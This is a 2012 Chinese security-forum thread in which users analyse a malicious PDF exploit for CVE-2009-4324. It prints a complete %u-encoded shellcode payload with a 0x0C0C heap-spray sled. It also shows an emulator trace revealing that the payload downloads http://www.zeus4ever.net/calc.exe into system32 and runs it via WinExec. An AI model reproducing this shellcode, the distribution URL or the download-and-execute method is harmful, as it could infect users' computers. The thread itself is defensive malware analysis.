有分析 ShellCode 的么

显示全部楼层 · 发表于 2012-5-12 14:23:16

本帖最后由疯狂的小鬼于 2012-5-12 19:48 编辑

What's this?

//warning CVE-NO-MATCH Shellcode Engine Binary Threshold
//warning CVE-NO-MATCH Shellcode Engine Length 65536
//warning CVE-2009-4324 printd access
//warning CVE-2009-4324 printd access
//alert CVE-2009-4324 media.newPlayer with NULL parameter
//warning CVE-2009-4324 printd access
//shellcode len 200 (including any NOPs) qdxIsPARawijkD = %uC3DB%u74D9%uF424%u3158%uBBC9%uB4E1%u9CA2%u5EB1%u5831%u8318%u04C0%u5803%u56F5%u7757%uCCE5%uBBD2%u97CC%u875B%uD7CF%uF2A8%u3556%uE92A%u526D%u1120%u5D92%uA2C7%u3BF5%uF8B1%u04F8%u676B%uEC9B%u4179%u1C0E%uF497%u3304%u66BE%u7276%u6352%u66D3%uF4BF%u1DFA%uE955%u981B%u6F30%u0CF1%uDAC9%u7D81%uD21C%u247B%u813B%u4369%uD1CF%uF94D%u3310%u3EDC%uD1A8%u2380%u9DE9%u9C4C%uA5D4%u48BE%uF6CB%uEA03%u40B1%u9103%uFB1E%u5AA3%u6A8C%u7A51%u1634%uDC0F%uBC4F%u8435%u5BBD%u6FD3%u38D0%uE1F1%uE1CE%uEF62%uEEA7%uD011%uD849%u48B0%uC030%uFE9D%u3A88%u3147%u066B%u8C95%u1087%u7F59%uB8CC%u19C0%uE416%uD678%u03F8%uF0DB%u57EA%uAC3A%u50EA%uC726%u4DB5%uD413%uBB7F%uD4FD%u62F5%u739C%u6230%u7F29%u4EE5%u1DCF%u8DFB%u8476%u3456%u7E41%u086C%uE798%uF2BF%uAD08%u37F6%uE34A%u0160%u35F4%u3B1F%uFCA1%u62FC%u9FBD%u5F34%uAAF2%u2BA3%uEBCF%uD71E%u41B8%u7D07%u2937%uE7DE%u8BD1%u05E3%uDFD4%u2CEA%uE23E%u3AEE%uF742%u24FB%uF464%u9C11%uEF78%uDD07%u2D8C%uF527%u3490%uFC25%u2983%u986E%u5A9D%u4778%u67C0%uE17D%u79DE%uFF72%u8813%uFC98%u9653%u28C6%u9155%u0704%u9969%u501C%uBE62%u383B%uD498%uCF49%uDC96%uFC2B%uF69D%u0B91%u0ECF%u02DC%u0CF7%u1DD2%u1FD8%u1D18%u463E%uAA8B%u09CA%u7C76%u9D1D%uF5F1%u1B4F%u8C9B%uEFFC%u1906%u6267%u8BE7%uF602%u30D8%u9AAD%u9945%u1B48%u65EF
//warning CVE-NO-MATCH Shellcode NOP len 32560
//shellcode len 32568 (including any NOPs) EdDashDIgmMARzTFDgSvTTZUlJuZmRU = %u0C0C%u0C0C%u0C0C%u0C0C%u0C0C%u0C0C%u0C0C%u0C0C
//shellcode len 36 (including any NOPs) TyhHR = %u0C0C%u0C0C%u4367%u6345%u6958%u6C69%u5859%u704E%u444D%u594F%u784E%u6353%u5457%u784E%u6972%u7265%u5A7A%u6852%u5157%u6D62%u6879%u6C77%u6E55%u5356%u7242%u6648%u456B%u6A58%u6F79%u7A45%u7874%u5456%u6C66%u7844%u764B%u6574
//warning CVE-NO-MATCH Shellcode NOP len 9999
//shellcode len 268443647 (including any NOPs) memory = %u0C0C

复制代码

显示全部楼层 · 发表于 2012-5-12 17:33:14

样本地址在 qdxIsPARawijkD 中: http://www.zeus4ever.net/calc.exe

<Profile>
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x00417120 =>
= "GetSystemDirectoryA";
) = 0x7c814eea;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x00417134 =>
= "WinExec";
) = 0x7c86136d;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x0041713c =>
= "ExitThread";
) = 0x7c80c058;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7c800000 =>
none;
LPCSTR lpProcName = 0x00417147 =>
= "LoadLibraryA";
) = 0x7c801d77;
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x00417154 =>
= "urlmon";
) = 0x7df20000;
FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7df20000 =>
none;
LPCSTR lpProcName = 0x0041715b =>
= "URLDownloadToFileA";
) = 0x7df7b0bb;
UINT GetSystemDirectory (
LPTSTR lpBuffer = 0x00416fb2 =>
= "c:\WINDOWS\system32";
UINT uSize = 32;
) = 19;
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = 0x00000000 =>
none;
LPCTSTR szURL = 0x0041716e =>
= "http://www.zeus4ever.net/calc.exe";
LPCTSTR szFileName = 0x00416fb2 =>
= "c:\WINDOWS\system32\a.exe";
DWORD dwReserved = 0;
LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0x00416fb2 =>
= "c:\WINDOWS\system32\a.exe";
UINT uCmdShow = 0;
) = 32;
void ExitThread (
DWORD dwExitCode = 32;
) = 0;

复制代码

显示全部楼层 · 发表于 2012-5-12 17:46:27

进不去了。。

[已鉴定] 有分析 ShellCode 的么

评分